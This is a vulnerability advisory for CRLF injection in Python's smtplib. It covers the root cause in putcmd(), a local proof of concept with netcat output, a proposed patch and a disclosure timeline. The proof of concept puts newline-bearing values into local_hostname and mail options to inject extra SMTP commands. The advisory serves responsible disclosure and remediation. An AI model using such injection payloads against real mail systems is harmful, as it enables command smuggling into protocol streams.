Python - smtplib Multiple Crlf Injection

Vulnerability Note

1 Summary

Python is a programming language that lets you work more quickly and integrate your systems more effectively.

Two CR-LF injection points have been discovered in the Python standard library for SMTP interaction (client perspective) named smtplib that may allow a malicious user with direct access to smtplib.SMTP(..., local_hostname, ..) or smtplib.SMTP(...).mail(..., options) to inject a CR-LF control sequence to inject arbitrary SMTP commands into the protocol stream.

The root cause of this is likely to be found in the design of the putcmd(cmd, args) method, that fails to validate that cmd nor args contains any protocol control sequences (i.e. CR-LF).

It is recommended to reject or encode \r\n in putcmd() and enforce that potential multi-line commands call putcmd() multiple times to avoid that malicious input breaks the expected context of the method and hence cause unexpected behavior. For reference, the DATA command (multi-line) would not be affected by this change as it calls putcmd() only once and continues with directly interacting with the socket to submit the body.

2 Details

2.1 Description

The root cause of this (and probably also some earlier reported CR-LF injections) is the method putcmd() in lib/smtplib.py[3]. The method is called by multiple commands and does not validate that neither cmd nor args contains any CRLF sequences.

def putcmd(self, cmd, args=""):
    """Send a command to the server."""
    if args == "":
        str = '%s%s' % (cmd, CRLF)
    else:
        str = '%s %s%s' % (cmd, args, CRLF)
    self.send(str)

However, the issue was initially found in mail(..., options) [4] which fails to ensure that none of the provided options contains CRLF characters. The method only ensures that provides mail addresses are quoted, optionslist is untouched:

self.putcmd("mail", "FROM:%s%s" % (quoteaddr(sender), optionlist))

A similar issue was found with smtplib.SMTP(...,local_hostname) (and helo(name), ehlo(name)) which may potentially contain CRLF sequences and, therefore, can be used to inject SMTP commands.

Here’s a snipped of helo [5]

def helo(self, name=''):
    """SMTP 'helo' command.
    Hostname to send for this command defaults to the FQDN of the local
    host.
    """
    self.putcmd("helo", name or self.local_hostname)
    (code, msg) = self.getreply()
    self.helo_resp = msg
    return (code, msg)

We highly recommend, fixing this issue once and for all directly in putcmd() and enforce that the interface can only send one command at a time, rejecting arguments that contain CRLF sequences or properly encoding them to avoid injection.

3 Proof of Concept

  1. set-up a local tcp listener ⇒ nc -l 10001

  2. run the following PoC and replay the server part as outline in 3.

    import smtplib
    
    server = smtplib.SMTP('localhost', 10001, "hi\nX-INJECTED") # localhostname CRLF injection
    server.set_debuglevel(1)
    server.sendmail("[email protected]", "[email protected]", "wazzuuup\nlinetwo")
    server.mail("[email protected]",["X-OPTION\nX-INJECTED-1","X-OPTION2\nX-INJECTED-2"]) # options CRLF injection
  3. interact with smtplib, check for X-INJECTED

    ⇒  nc -l 10001                      
    nc -l 10001
    220 yo
    ehlo hi
    X-INJECTED
    250-AUTH PLAIN
    250
    mail FROM:<[email protected]>
    250 ok
    rcpt TO:<[email protected]>
    250 ok
    data
    354 End data with <CR><LF>.<CR><LF>
    wazzuuup
    linetwo
    .
    250 ok
    mail FROM:<[email protected]> X-OPTION
    X-INJECTED-1 X-OPTION2
    X-INJECTED-2
    250 ok
    quit
    250 ok

3.1 Proposed Fix

  • enforce that putcmd emits exactly one command at a time and encode \n -> \\n.

    diff --git a/Lib/smtplib.py b/Lib/smtplib.py
    index e2dbbbc..9c16e7d 100755
    --- a/Lib/smtplib.py
    +++ b/Lib/smtplib.py
    @@ -365,10 +365,10 @@ class SMTP:
     def putcmd(self, cmd, args=""):
         """Send a command to the server."""
         if args == "":
    -            str = '%s%s' % (cmd, CRLF)
    +            str = cmd
         else:
    -            str = '%s %s%s' % (cmd, args, CRLF)
    -        self.send(str)
    +            str = '%s %s' % (cmd, args)
    +        self.send('%s%s' % (str.replace('\n','\\n'), CRLF))
    

4 Vendor Response

Vendor response: gone silent; stalled patch.

4.1 Timeline

JUL/02/2020 - contact psrt; provided details, PoC, proposed patch
JUL/04/2020 - confirmed that vulnerability note was received
SEP/10/2020 - requested status update.
FEB/04/2021 - Filed issue https://bugs.python.org/issue43124 for transparency
MAY/28/2021 - disclosed over a year a go. public disclosure.

5 References